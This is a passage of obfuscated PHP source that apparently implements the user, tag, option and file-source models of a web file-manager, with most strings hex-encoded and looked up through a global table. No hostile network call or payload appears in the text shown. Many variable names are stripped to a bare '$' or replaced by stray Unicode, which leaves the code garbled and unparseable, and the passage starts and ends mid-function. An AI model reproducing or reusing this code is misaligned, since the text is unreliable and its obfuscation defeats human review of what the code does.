$ü͕ =& $_SERVER[ձК]; $ = $ü͕[12]; $ߞڢ = array(); if ($瓝) { $ߞڢ = array($ü͕[2506] => intval($瓝)); $ = "\114\x45\106\x54\x20\x4a\x4f\x49\116\x20{$this->tablePrefix}\x75\x73\x65\x72\x5f\147\162\157\165\x70\40\165\163\x65\x72\137\x67\162\x6f\165\160\40\157\x6e\x20\165\163\145\x72\x2e\165\x73\x65\162\111\x44\40\x3d\x20\165\163\x65\162\x5f\x67\162\x6f\165\x70\56\x75\x73\145\162\111\104"; $رڱ = Input::get($ü͕[532], null, $ü͕[12]) ? $ü͕[12] : $ü͕[2507]; } if (isset($ܾ[$ü͕[824]])) { $ߞڢ[$ü͕[2508]] = $ܾ[$ü͕[824]]; } $ = $this->_makeOrder($رڱ)->field($ü͕[2509])->where($ߞڢ)->join($)->selectPage(50); $this->_listDataApply($[$ü͕[447]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[ձК]; $ = array($[1777], $[32], $[1966], $[2186], $[1938], $[233]); $ʰǽ = array($[525] => $[526], $[527] => $[528]); $۶ = Input::get($[532], $[7], $[1768], $); $ = Input::get($[533], $[7], $[2074], array($[2074], $[527])); $ = $ʰǽ[$]; $ = $ . "\165\x73\x65\162\56{$۶}\40{$}\54\x20\165\x73\x65\x72\x2e\165\163\x65\x72\x49\104\x20\x61\163\x63"; return $this->alias($[2202])->order($); } public function listSearch($ݥĴ) { $㱝 =& $_SERVER[ձК]; $ڼ = trim($ݥĴ[$㱝[2077]]); $ = explode($㱝[53], $ڼ); if (!$ڼ || count($) == 1) { return $this->listSearchNow($ݥĴ); } $ߤǬ = array($㱝[447] => array()); foreach ($ as $) { if (!trim($)) { continue; } $ݥĴ[$㱝[2077]] = $; $ = $this->listSearchNow($ݥĴ); $ߤǬ[$㱝[447]] = array_merge($ߤǬ[$㱝[447]], $[$㱝[447]]); } $ߤǬ[$㱝[447]] = array_unique_by_key($ߤǬ[$㱝[447]], $㱝[1777]); $ߤǬ[$㱝[444]] = array($㱝[445] => count($ߤǬ[$㱝[447]]), $㱝[441] => 20, $㱝[430] => 1, $㱝[446] => 1); return $ߤǬ; } public function listSearchNow($) { $٬ =& $_SERVER[ձК]; $˿ә = trim($[$٬[2077]]); $Ơͮ = isset($[$٬[2078]]) ? $[$٬[2078]] : !1; $˿ә = str_replace($٬[2079], $٬[2080], trim($˿ә)); $ = array($٬[32] => array($٬[461], "\x25{$˿ә}\x25"), $٬[382] => array($٬[461], "{$˿ә}\45"), $٬[2274] => array($٬[461], "{$˿ә}\x25"), $٬[1079] => $٬[2081]); if (Input::check($˿ә, $٬[388])) { $[$٬[1777]] = array($٬[461], "{$˿ә}\45"); $[$٬[2490]] = array($٬[461], "{$˿ә}\45"); } if (!$˿ә) { $ = array(); } if (isset($[$٬[824]])) { $[$٬[824]] = $[$٬[824]]; } $ = $this->parseWhereLike($); $ҝ = $this->_makeOrder()->where($)->selectPage(20); if (!$ҝ || count($ҝ[$٬[447]]) < 5 && Input::check($˿ә, $٬[395])) { $ = $this->_searchFromMeta($٬[539], $˿ә, 10); $یڄ = $this->_searchFromMeta($٬[540], $˿ә, 10); $֦ = array_merge($, $یڄ, $ҝ[$٬[447]]); $ҝ[$٬[447]] = array_unique_by_key($֦, $٬[1777]); $ҝ[$٬[444]][$٬[445]] = count($ҝ[$٬[447]]); $ҝ[$٬[444]][$٬[446]] = ceil($ҝ[$٬[444]][$٬[445]] / $ҝ[$٬[444]][$٬[441]]); } $this->_listDataApply($ҝ[$٬[447]]); $this->_filterByGroup($ҝ, $Ơͮ); return $ҝ; } private function _filterByGroup(&$߾ߨ, $钚) { $ =& $_SERVER[ձК]; if (!$钚) { return $߾ߨ; } foreach ($߾ߨ[$[447]] as $ => &$⾡) { $ = array_to_keyvalue($⾡[$[2171]], $[12], $[1978]); if (!in_array($钚, $)) { unset($߾ߨ[$[447]][$]); } } unset($⾡); $߾ߨ[$[447]] = array_values($߾ߨ[$[447]]); $߾ߨ[$[444]] = array($[2239] => count($߾ߨ[$[447]]), $[2237] => $߾ߨ[$[444]][$[441]], $[2236] => 1, $[2238] => 1); } private function _searchFromMeta($, $ʤ, $) { $Х =& $_SERVER[ձК]; $ʤ = strtolower($ʤ); $â = array($Х[97] => $, $Х[452] => array($Х[461], "\x25{$ʤ}\x25")); $â = $this->parseWhereLike($â); $͔ = Model($Х[2510])->where($â)->limit($)->select(); if (!$͔) { return array(); } $͔ = array_to_keyvalue($͔, $Х[12], $Х[1777]); $ = $this->where(array($Х[1768] => array($Х[7], $͔)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$Ɵ) { $髝 =& $_SERVER[ձК]; if (!$Ɵ) { return; } array_remove_key($Ɵ, $髝[968]); $ = array_to_keyvalue($Ɵ, $髝[12], $髝[1777]); $this->_listAppendGroup($Ɵ, $); $this->_listAppendMeta($Ɵ, $); $this->_listAppendSourceRoot($Ɵ, $); } private function _listAppendSourceRoot(&$⛣, $) { $ =& $_SERVER[ձК]; $ = Model($[899])->listSourceRoot(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $[571]); $ = array_remove_key($, $[571]); foreach ($⛣ as &$) { $[$[90]] = $[$[$[1777]]] ? $[$[$[1777]]] : array(); } unset($); } private function _listAppendGroup(&$, $ߺͩ) { $ =& $_SERVER[ձК]; $ = array($[1777] => array($[7], $ߺͩ)); $ = Model($[2073])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1978]); $ = array_remove_value(array_unique($), $[230]); if (!$ || !$) { return; } $ = array($[1978] => array($[7], $)); $ = Model($[2169])->field($[2511])->where($)->select(); $ = array_to_keyvalue($, $[1978]); $ = array_to_keyvalue_group($, $[1777]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!$[$[2087]]) { continue; } $Ŕ = Model($[573])->listData($[$[2087]]); $[] = array($[1978] => $[$[1978]], $[2512] => $[$[$[1978]]][$[32]], $[586] => $[$[$[1978]]][$[586]], $[489] => $Ŕ); } $ = $; } unset($); foreach ($ as &$ѪͲ) { $ѪͲ[$[2171]] = array(); if (isset($[$ѪͲ[$[1777]]])) { $ѪͲ[$[2171]] = $[$ѪͲ[$[1777]]]; } } unset($ѪͲ); } public function userAppendGroup($ܒ) { $ԟ =& $_SERVER[ձК]; if (!$ܒ) { return array(); } $this->_listAppendGroup($ܒ, array_to_keyvalue($ܒ, $ԟ[12], $ԟ[1777])); return $ܒ; } private function _listAppendMeta(&$ۯ, $ʑ) { $ =& $_SERVER[ձК]; $ = UserJobModel::JOB_KEY; $¯燺 = array($[2491]); $ = array($[1777] => array($[7], $ʑ)); $ = Model($[2489])->where($)->select(); $ = array_to_keyvalue_group($, $[1777]); foreach ($ as &$) { $ = array(); foreach ($ as $˻) { if (!in_array($˻[$[97]], $¯燺)) { $[$˻[$[97]]] = $˻[$[452]]; } } $ = $; } unset($); $ = Model($[2513]); foreach ($ۯ as &$NJ) { $ = array(); if (isset($[$NJ[$[1777]]])) { $ = $[$NJ[$[1777]]]; } $NJ[$[2514]] = array(); if (isset($[$])) { $NJ[$[2514]] = $->getUserJobInfo($[$]); } } unset($NJ); } protected function groupUserAll($) { $ =& $_SERVER[ձК]; if (!$) { return !1; } $Ҽ = Model($[2073])->field($[1777])->where(array($[1978] => array($[7], $)))->select(); $Ҽ = array_to_keyvalue($Ҽ, $[12], $[1777]); return array_unique($Ҽ); } public function userSearch($Ӑ, $ = "\x2a") { return Model($_SERVER[ձК][599])->where($Ӑ)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\x65\162\137\157\x70\164\151\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $Í =& $_SERVER[ձК]; $ʭ = defined($Í[2206]) && USER_ID ? USER_ID : $Í[12]; return "\x55\163\x65\162\117\160\x74\x69\157\156\x5f{$}\137" . $ʭ; } protected function filterWhere($) { $ =& $_SERVER[ձК]; $[$[1777]] = defined($[2206]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($н, $ҫ) { return Cache::remove("\x55\x73\x65\162\117\160\x74\151\x6f\x6e\x5f{$н}\x5f" . $ҫ); } protected function optionDefault($܈ = '') { $ů =& $_SERVER[ձК]; if ($܈ == $ů[12]) { return $GLOBALS[$ů[6]][$ů[2515]]; } if ($܈ == $ů[2516]) { return $GLOBALS[$ů[6]][$ů[2517]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\x73\145\x72\x2e\x74\141\147\x4c\x69\163\164"; public $modelType = "\x55\x73\145\162\x4f\x70\164\x69\157\156"; public $field = array("\156\141\155\145", "\x73\x74\x79\x6c\x65", "\163\157\x72\164"); public function listData($Ӡ = false, $ = "\163\157\162\164", $ = false) { return parent::listData($Ӡ, $, $); } public function remove($ԏ) { return parent::remove($ԏ); } public function add($춱, $ = "\154\141\142\x65\x6c\55\147\162\145\x79\55\x6e\x6f\162\155\141\x6c") { $窂 =& $_SERVER[ձК]; if ($this->findByName($춱)) { return !1; } $ֆ = array($窂[496] => $춱, $窂[560] => $, $窂[1982] => $this->getSort($窂[337]) + 1); return parent::insert($ֆ); } public function update($, $ԘǢ) { $ =& $_SERVER[ձК]; $ƤƸ = $this->listData($); $ = $this->findByName($ԘǢ[$[32]]); if (!$ƤƸ || $ && $[$[477]] != $ƤƸ[$[477]]) { return !1; } return parent::update($, $ԘǢ); } public function moveTop($Æ) { $β =& $_SERVER[ձК]; $ܾ = parent::listData(); $Έ = $this->getSort($β[336]); foreach ($ܾ as &$˶Җ) { if ($˶Җ[$β[477]] == $Æ) { $˶Җ[$β[2002]] = $Έ; continue; } $˶Җ[$β[2002]] += 1; } unset($˶Җ); return parent::resetData($ܾ); } public function moveBottom($) { $Ĩ =& $_SERVER[ձК]; $ = $this->getSort($Ĩ[337]) + 1; return parent::update($, array($Ĩ[2002] => $)); } public function resetSort($) { $֣ =& $_SERVER[ձК]; $̋ = array(); $ = is_array($) ? $ : array(); for ($ʚ = 0; $ʚ < count($); $ʚ++) { $̋[$[$ʚ] . $֣[12]] = $ʚ + 1; } $Ѻɔ = parent::listData(); foreach ($Ѻɔ as &$) { $ = $̋[$[$֣[477]]]; $[$֣[2002]] = $ ? $ : $[$֣[2002]]; } unset($); return parent::resetData($Ѻɔ); } private function getSort($ᾁ) { $Ͳ =& $_SERVER[ձК]; $ = parent::listData(); $ِ = array_to_keyvalue($, $Ͳ[12], $Ͳ[2002]); if (!$ِ) { $ِ = array(0); } $ = $ᾁ == $Ͳ[337] ? max($ِ) : min($ِ); return intval($); } } goto C; C: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\x73\164\145\x6d\117\160\x74\x69\157\156"; public $field = array(); public function listData($Ύ = false, $Л = "\x6d\x6f\x64\x69\146\x79\x54\x69\x6d\145", $»۩ = false) { $۞ = Model($this->modelType)->get(!1, $this->optionType, !0); $̶ = array_values($۞); if ($̶ && $̶[0] && !is_array($̶[0])) { Model($this->modelType)->cacheRemove($this->optionType); $۞ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$۞) { return $Ύ ? null : array(); } if (!$Ύ) { $۞ = array_filter(array_values($۞)); return array_sort_by($۞, $Л, $»۩); } return $۞[$_SERVER[ձК][474] . $Ύ]; } public function insert($̕) { $ =& $_SERVER[ձК]; $̕ = array_field_key($̕, $this->field); $݉ = Model($this->modelType)->get($[475], $this->optionType . $[476]); $݉ = $݉ ? $݉ : 0; $̕[$[477]] = ++$݉; $̕[$[233]] = time(); $̕[$[88]] = time(); Model($this->modelType)->set($[475], $݉, $this->optionType . $[476]); Model($this->modelType)->set($[474] . $݉, $̕, $this->optionType); return $݉; } public function update($̊ڌ, $Ҏݗ) { $Ī =& $_SERVER[ձК]; $Ҏݗ = array_field_key($Ҏݗ, $this->field); $Ʈ = $this->listData($̊ڌ); if (!$Ʈ || !$̊ڌ) { return !1; } $Ҏݗ = array_merge($Ʈ, $Ҏݗ); $Ҏݗ[$Ī[88]] = time(); return Model($this->modelType)->set($Ī[474] . $̊ڌ, $Ҏݗ, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[ձК][474] . $, $this->optionType); } public function clear() { $Ώ٠ =& $_SERVER[ձК]; Model($this->modelType)->remove($Ώ٠[475], $this->optionType . $Ώ٠[476]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ށϪ, $ݩϦ) { if (!$ݩϦ) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ށϪ); return isset($[$ݩϦ]) ? $[$ݩϦ] : !1; } public function findByName($ۮ) { return $this->findByKey($_SERVER[ձК][32], $ۮ); } protected function resetData($) { $ =& $_SERVER[ձК]; $ = is_array($) ? $ : array(); $ĩ = array(); for ($ = 0; $ < count($); $++) { $ĩ[$[474] . $[$][$[477]]] = $[$]; } return Model($this->modelType)->set($ĩ, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[ձК][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ = $ . "\50{$}\51"; if (!isset($[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ˀ = false, $ϧ = '', $߽ = false) { $ღ =& $_SERVER[ձК]; $˜ = $this->cacheGet($ϧ); $ = $this->optionDefault($ϧ); $ = is_array($) ? $ : array(); if (is_array($˜)) { $˜ = array_merge($, $˜); return $ˀ ? isset($˜[$ˀ]) ? $˜[$ˀ] : null : $˜; } $ӄɂ = $this->filterWhere(array($ღ[33] => $ϧ)); $˜ = $this->where($ӄɂ)->select(); $˜ = array_to_keyvalue($˜, $ღ[97], $ღ[452]); foreach ($˜ as $½ => $˸) { if ($߽ || in_array($½, $this->jsonField)) { $˜[$½] = json_decode($˸, !0); } } $this->cacheSet($ϧ, $˜); $˜ = array_merge($, $˜); return $ˀ ? $˜[$ˀ] : $˜; } public function set($, $ = false, $٤ = '') { $옇 =& $_SERVER[ձК]; $this->cacheRemove($٤); $념 = array(); $晷 = is_array($) ? $ : array($ => $); foreach ($晷 as $ˢ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $옇[4] . $); $ = self::textEncode($); $晷 = array($옇[33] => $٤, $옇[97] => $ˢ, $옇[452] => $); $념[] = $this->filterWhere($晷); } if (!$념) { return !0; } $ģ = $this->cacheKey($옇[478]); CacheLock::lock($ģ); $ڟ = $this->addAll($념, array(), !0); CacheLock::unlock($ģ); return $ڟ; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $êò = false, $充ִ = '') { $ = explode($_SERVER[ձК][10], $); $ = $this->get(); array_set_value($, $, $êò); $this->set($[0], $[$[0]], $充ִ); } public function remove($, $ = '') { $ć =& $_SERVER[ձК]; $this->cacheRemove($); $ܝ = $this->filterWhere(array($ć[97] => $, $ć[33] => $)); if (is_null($)) { unset($ܝ[$ć[97]]); } return $this->where($ܝ)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($ᡇ) { return Cache::get($this->cacheKey($ᡇ)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\151\157\x5f\x73\x6f\x75\x72\143\x65"; protected $tableMeta = array("\164\141\142\154\x65\x4e\x61\x6d\145" => "\x69\x6f\137\163\x6f\x75\162\x63\x65\137\x6d\145\x74\x61", "\155\x65\x74\x61\106\151\145\x6c\144" => "\163\x6f\165\x72\143\145\x49\x44"); protected $dataAuto = array(array("\155\157\144\x69\146\x79\124\151\155\145", "\164\151\x6d\145", "\151\156\163\145\x72\164", "\x66\165\x6e\x63\x74\151\x6f\x6e"), array("\x63\162\x65\x61\164\145\124\x69\155\145", "\x74\151\x6d\145", "\x69\x6e\163\x65\162\x74", "\146\x75\156\x63\x74\151\x6f\x6e"), array("\x76\151\145\167\124\151\155\x65", "\164\151\x6d\x65", "\x69\x6e\163\145\x72\x74", "\146\165\x6e\x63\x74\x69\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($֖) { return $this->listSource(array($_SERVER[ձК][479] => $֖)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\163\x79\163\x74\x65\x6d", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\147\162\x6f\x75\160"); return $[$ . $_SERVER[ձК][12]]; } public function sourceListInfo($΅˂, $ͼ = false) { $팂 =& $_SERVER[ձК]; $΅˂ = $΅˂ ? $΅˂ : array(); $΅˂ = array_filter(array_unique($΅˂)); if (!$΅˂) { return array(); } $݄ = $this->where(array($팂[193] => array($팂[7], $΅˂)))->select(); $this->_listDataApply($݄, $ͼ); return array_to_keyvalue($݄, $팂[193]); } public function pathInfoFilter(&$㺞ӵ) { $ǝ =& $_SERVER[ձК]; static $ = false; static $֯ = false; static $ = false; if (!$) { $ث = $ǝ[480]; $ث .= $ǝ[481]; $ث .= $ǝ[482]; $ = $ǝ[483]; $Ȥ = explode($ǝ[50], $); $ = explode($ǝ[50], $ث); $֯ = array(); foreach ($ as $) { if (in_array($, $Ȥ)) { continue; } $֯[] = $; } $ = explode($ǝ[50], $ǝ[484]); } foreach ($ as $) { if (isset($㺞ӵ[$])) { $㺞ӵ[$] = intval($㺞ӵ[$]); } } $㺞ӵ[$ǝ[87]] = $ǝ[485] . $㺞ӵ[$ǝ[193]] . $ǝ[486]; $㺞ӵ[$ǝ[33]] = $㺞ӵ[$ǝ[487]] == 1 ? $ǝ[78] : $ǝ[232]; $㺞ӵ[$ǝ[190]] = $this->typeName($㺞ӵ[$ǝ[190]]); if ($㺞ӵ[$ǝ[487]] != 1) { $㺞ӵ[$ǝ[169]] = $㺞ӵ[$ǝ[488]]; unset($㺞ӵ[$ǝ[488]]); } $ = $; if (isset($㺞ӵ[$ǝ[489]]) && $㺞ӵ[$ǝ[489]][$ǝ[490]] == -1) { $ = $֯; } $㺞ӵ = array_field_key($㺞ӵ, $); return $㺞ӵ; } public function listUserFav() { $ =& $_SERVER[ձК]; $Ȗ = Model($[491])->listData(); $ஷ̉ = array_filter_by_field($Ȗ, $[33], $[492]); $ஷ̉ = array_to_keyvalue($ஷ̉, $[12], $[87]); if ($ஷ̉) { $ = $this->listSource(array($[493] => array($[494], $ஷ̉))); } $ = array_to_keyvalue($[$[447]], $[193]); foreach ($Ȗ as &$) { $ = array($[495] => $[$[477]], $[496] => $[$[32]], $[497] => $[$[87]], $[498] => $[$[33]], $[499] => $[$[233]], $[500] => $[$[88]]); if ($[$[33]] == $[492] && $[$[$[87]]]) { $[$[90]] = $[$[$[87]]]; } } unset($); return $Ȗ; } public function listUserTag($ւ) { $ɠ =& $_SERVER[ձК]; if ($ւ && !is_array($ւ)) { $ւ = array($ւ); } $ = Model($ɠ[501])->listData(); $ = array(); $ٸ = array(); foreach ($ as $) { $ = $[$ɠ[87]]; if (!$) { continue; } if (!isset($ٸ[$])) { $ٸ[$] = array(); } $ٸ[$][] = $[$ɠ[502]]; $[$[$ɠ[87]]] = $; } $ۮ = array(); $ۏ = array(); $ = array(); foreach ($ٸ as $ܢ => $) { $ۋ = !0; if (!$ւ) { $ۮ[] = $ܢ; continue; } foreach ($ւ as $Ҵ) { if (!in_array($Ҵ, $)) { $ۋ = !1; break; } } if (!$ۋ) { continue; } if (!is_numeric($ܢ)) { $ = $[$ܢ]; $Ɨ暐 = array($ɠ[32] => $[$ɠ[32]], $ɠ[87] => $[$ɠ[87]], $ɠ[33] => $[$ɠ[33]], $ɠ[90] => array($ɠ[503] => 1), $ɠ[234] => !0); if ($[$ɠ[33]] == $ɠ[232]) { $[] = $Ɨ暐; } if ($[$ɠ[33]] == $ɠ[78]) { $ۏ[] = $Ɨ暐; } continue; } $ۮ[] = $ܢ; } if ($ۮ) { $ս = $this->listSource(array($ɠ[493] => array($ɠ[494], $ۮ))); } $ս = $ս ? $ս : array($ɠ[85] => array(), $ɠ[86] => array()); $ս[$ɠ[85]] = array_merge($ս[$ɠ[85]], $ۏ); $ս[$ɠ[86]] = array_merge($ս[$ɠ[86]], $); if (isset($ս[$ɠ[444]]) && count($ۮ) == $ս[$ɠ[444]][$ɠ[445]]) { return $ս; } $ث = array(); $豈 = array_to_keyvalue($ս[$ɠ[85]], $ɠ[12], $ɠ[193]); $ = array_to_keyvalue($ս[$ɠ[86]], $ɠ[12], $ɠ[193]); $˹ = array_merge($, $豈); foreach ($ۮ as $) { if (!in_array($, $˹)) { $ث[] = $; } } if ($ث) { Model($ɠ[504])->removeBySource($ث); } return $ս; } public function listUserRecycle() { $ =& $_SERVER[ձК]; $̯ꥧ = Model($[505])->listData(); if (!$̯ꥧ) { return array(); } $괟 = array($[493] => array($[494], $̯ꥧ), $[506] => 1); return $this->listSource($괟); } public function listSource($, $ٌ = 3000, $٘ = false) { $ =& $_SERVER[ձК]; if (!isset($[$[507]])) { $[$[507]] = 0; } if (isset($[$[192]]) && $[$[192]] == $[230]) { $[$[488]] = array($[508], $[12]); } $ҳΝ = $[509]; $ = $this->field($ҳΝ)->_makeOrder()->where($)->selectPage($ٌ); $this->_listPageCheck($, $ҳΝ, $); $this->_listDataApply($[$[447]], $٘); $this->_listMake($); return $; } private function _listPageCheck(&$, $䮂, $쮖) { $ٷ =& $_SERVER[ձК]; if (!is_array($[$ٷ[444]])) { return; } $ᄱ = $[$ٷ[444]]; if ($ᄱ[$ٷ[446]] <= 1) { return; } if ($ᄱ[$ٷ[445]] >= 100000) { return; } if (Model($ٷ[510])->get($ٷ[511]) != $ٷ[512]) { return; } $䮂 = str_replace(array($ٷ[53], $ٷ[419], $ٷ[287]), $ٷ[12], $䮂); $䮂 = $ٷ[513] . str_replace($ٷ[50], $ٷ[514], $䮂) . $ٷ[515]; $ = $ٷ[516]; $ = $ . $ٷ[517]; $ = $ᄱ[$ٷ[441]] * ($ᄱ[$ٷ[430]] - 1) . $ٷ[50] . $ᄱ[$ٷ[441]]; $ʛ = $this->_makeOrder(!0); $ʪ = $ٷ[513] . str_replace($ٷ[50], $ٷ[514], $ʛ[0]); if (strpos($ʪ, $ٷ[518])) { $ʪ = str_replace($ٷ[518], $ٷ[519], $ʪ); } else { $ʪ .= $ٷ[520] . $ʛ[1]; } $ = array(); foreach ($쮖 as $ => $) { $[$ٷ[513] . $] = $; } $this->alias($ٷ[521])->field($䮂)->limit($)->order($ʪ); $߷ = $this->join($)->where($)->select(); if ($߷) { $[$ٷ[447]] = $߷; } } protected function _makeOrder($㋡ = false) { $Ȓ =& $_SERVER[ձК]; $ = Model($Ȓ[522])->get($Ȓ[523]); $
ɮ = Model($Ȓ[522])->get($Ȓ[524]); $Ͼ = array($Ȓ[525] => $Ȓ[526], $Ȓ[527] => $Ȓ[528]); $ = array($Ȓ[32] => $Ȓ[32], $Ȓ[79] => $Ȓ[79], $Ȓ[169] => $Ȓ[488], $Ȓ[529] => $Ȓ[529], $Ȓ[530] => $Ȓ[531], $Ȓ[233] => $Ȓ[233], $Ȓ[88] => $Ȓ[88]); $Ĉ = Input::get($Ȓ[532], $Ȓ[7], $, array_keys($)); $د = Input::get($Ȓ[533], $Ȓ[7], $
ɮ, array_keys($Ͼ)); if (!in_array($Ĉ, array_keys($))) { $Ĉ = $Ȓ[32]; } if (!in_array($د, array_keys($Ͼ))) { $Ĉ = $Ȓ[525]; } if ($Ĉ == $Ȓ[32]) { } $ = $Ȓ[534] . $[$Ĉ] . $Ȓ[53] . $Ͼ[$د]; $ = rtrim(trim($), $Ȓ[50]); if ($㋡) { return array($, $Ͼ[$د]); } return $this->order($); } protected function _listDataApplyItem($ѠӮ, $ī֊ = false) { $믆 = array($ѠӮ); $this->_listDataApply($믆, $ī֊); return $믆[0]; } protected function _listDataApply(&$ۗ, $Ⱥ = false) { $ =& $_SERVER[ձК]; if (!$ۗ) { $ۗ = array(); return; } $ʠ = array_to_keyvalue($ۗ, $[12], $[193]); $ʠ = array_unique($ʠ); $this->_listSourceCache($ۗ); if (!$Ⱥ) { $this->_listAppendMeta($ۗ, $ʠ); $this->_listAppendFileMeta($ۗ, $ʠ); $this->_listAppendChildren($ۗ, $ʠ); } $this->_listAppendPath($ۗ); $this->_listAppendAuth($ۗ); $this->_listAppendSourceInfo($ۗ, $ʠ); $this->_listAppendUser($ۗ); $this->_listFilterInfo($ۗ, $Ⱥ); $this->_listAppendAuthSecret($ۗ); } protected function _listSourceCache($) { $ü =& $_SERVER[ձК]; foreach ($ as $٦Ѳ) { self::$cacheSourceInfo[$ü[535] . $٦Ѳ[$ü[193]]] = $٦Ѳ; } } protected function _listFilterInfo(&$؍܃, $ = false) { $ϣΜ =& $_SERVER[ձК]; foreach ($؍܃ as &$鍸) { $鍸 = $this->pathInfoFilter($鍸); self::$cachePathInfo[$ϣΜ[536] . intval($) . $ϣΜ[464] . $鍸[$ϣΜ[193]]] = $鍸; } unset($鍸); } protected function _listMake(&$פ) { $ܜ =& $_SERVER[ձК]; $פ[$ܜ[85]] = array(); $פ[$ܜ[86]] = array(); foreach ($פ[$ܜ[447]] as $) { $ = $[$ܜ[487]] == 1 ? $ܜ[85] : $ܜ[86]; $פ[$][] = $; } unset($פ[$ܜ[447]]); } protected function _listAppendMeta(&$, $) { $Ƒ =& $_SERVER[ձК]; $ = array($Ƒ[493] => array($Ƒ[494], $)); $ = Model($Ƒ[537])->field($Ƒ[538])->where($)->select(); if (!$) { return; } $ = array($Ƒ[539], $Ƒ[540], $Ƒ[519]); $ = array(); foreach ($ as $½) { if (!isset($[$½[$Ƒ[193]]])) { $[$½[$Ƒ[193]]] = array(); } if (in_array($½[$Ƒ[97]], $)) { continue; } $[$½[$Ƒ[193]]][$½[$Ƒ[97]]] = $½[$Ƒ[452]]; } foreach ($ as &$) { $[$Ƒ[541]] = !1; if (isset($[$[$Ƒ[193]]])) { $[$Ƒ[541]] = $[$[$Ƒ[193]]]; } if ($this->fileIsLock($) && $[$Ƒ[489]]) { $߀̛ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$Ƒ[489]][$Ƒ[490]] = AuthModel::authDisable($[$Ƒ[489]][$Ƒ[490]], $߀̛); $[$Ƒ[489]][$Ƒ[542]][$Ƒ[489]] = $[$Ƒ[489]][$Ƒ[490]]; } } unset($); } protected function _listAppendFileMeta(&$ꘇ, $) { $ˊͰ =& $_SERVER[ձК]; $˾ = array_to_keyvalue($ꘇ, $ˊͰ[12], $ˊͰ[543]); $˾ = array_filter(array_unique($˾)); if (!$˾) { return; } $ۊ = array($ˊͰ[544] => array($ˊͰ[494], $˾)); $璡 = $ˊͰ[545]; $Ƃ = Model($ˊͰ[546])->field($璡)->where($ۊ)->select(); $Ƃ = array_to_keyvalue($Ƃ, $ˊͰ[543]); $Յ = Model($ˊͰ[547])->field($ˊͰ[548])->where($ۊ)->select(); $Յ = $Յ ? $Յ : array(); $¡ = array(); foreach ($Յ as $ϐ) { if (!isset($¡[$ϐ[$ˊͰ[543]]])) { $¡[$ϐ[$ˊͰ[543]]] = array(); } $¡[$ϐ[$ˊͰ[543]]][$ϐ[$ˊͰ[97]]] = $ϐ[$ˊͰ[452]]; } foreach ($ꘇ as &$⦘) { $ = $⦘[$ˊͰ[543]]; if (!$ || !is_array($Ƃ[$])) { continue; } $ưԜ = $Ƃ[$]; $ưԜ[$ˊͰ[79]] = $⦘[$ˊͰ[79]]; $ưԜ[$ˊͰ[32]] = $⦘[$ˊͰ[32]]; if (!$ưԜ[$ˊͰ[549]]) { Model($ˊͰ[546])->fileMd5Check($ưԜ); } if (!isset(self::$cacheFileInfo[$ˊͰ[550] . $])) { self::$cacheFileInfo[$ˊͰ[550] . $] = array_merge(array(), $ưԜ); } unset($Ƃ[$][$ˊͰ[87]]); $ = isset($¡[$]) && is_array($¡[$]) ? $¡[$] : array(); $⦘[$ˊͰ[170]] = array_merge($, $Ƃ[$]); if (isset($⦘[$ˊͰ[170]][$ˊͰ[184]])) { $⦘[$ˊͰ[184]] = json_decode($⦘[$ˊͰ[170]][$ˊͰ[184]], !0); unset($⦘[$ˊͰ[170]][$ˊͰ[184]]); } } unset($⦘); } protected function _listAppendSourceInfo(&$, $ߢÍ) { $Ł =& $_SERVER[ձК]; $ƽᐺ = Model($Ł[551])->listData(); $μ = Model($Ł[501])->listData(); $ = Model($Ł[491])->listData(); $ = Model($Ł[552])->listSimple(); $؋ = array_to_keyvalue($ƽᐺ, $Ł[477]); $ = array_to_keyvalue_group($μ, $Ł[87], $Ł[502]); $ = array_to_keyvalue($, $Ł[87]); $ɖ = array_to_keyvalue_group($, $Ł[193]); foreach ($ as &$ә) { $ә[$Ł[90]] = array($Ł[553] => 0, $Ł[554] => 0, $Ł[555] => 0); if (isset($[$ә[$Ł[193]]])) { $ә[$Ł[90]][$Ł[556]] = 1; $ә[$Ł[90]][$Ł[557]] = $[$ә[$Ł[193]]][$Ł[32]]; } if ($ && $؋ && isset($[$ә[$Ł[193]]])) { $ә[$Ł[90]][$Ł[558]] = array(); foreach ($[$ә[$Ł[193]]] as $) { $ = $؋[$]; $ә[$Ł[90]][$Ł[558]][] = array($Ł[559] => $[$Ł[477]], $Ł[496] => $[$Ł[32]], $Ł[560] => $[$Ł[561]]); } } if ($ɖ && isset($ɖ[$ә[$Ł[193]]])) { $ә[$Ł[90]][$Ł[562]] = array(); foreach ($ɖ[$ә[$Ł[193]]] as 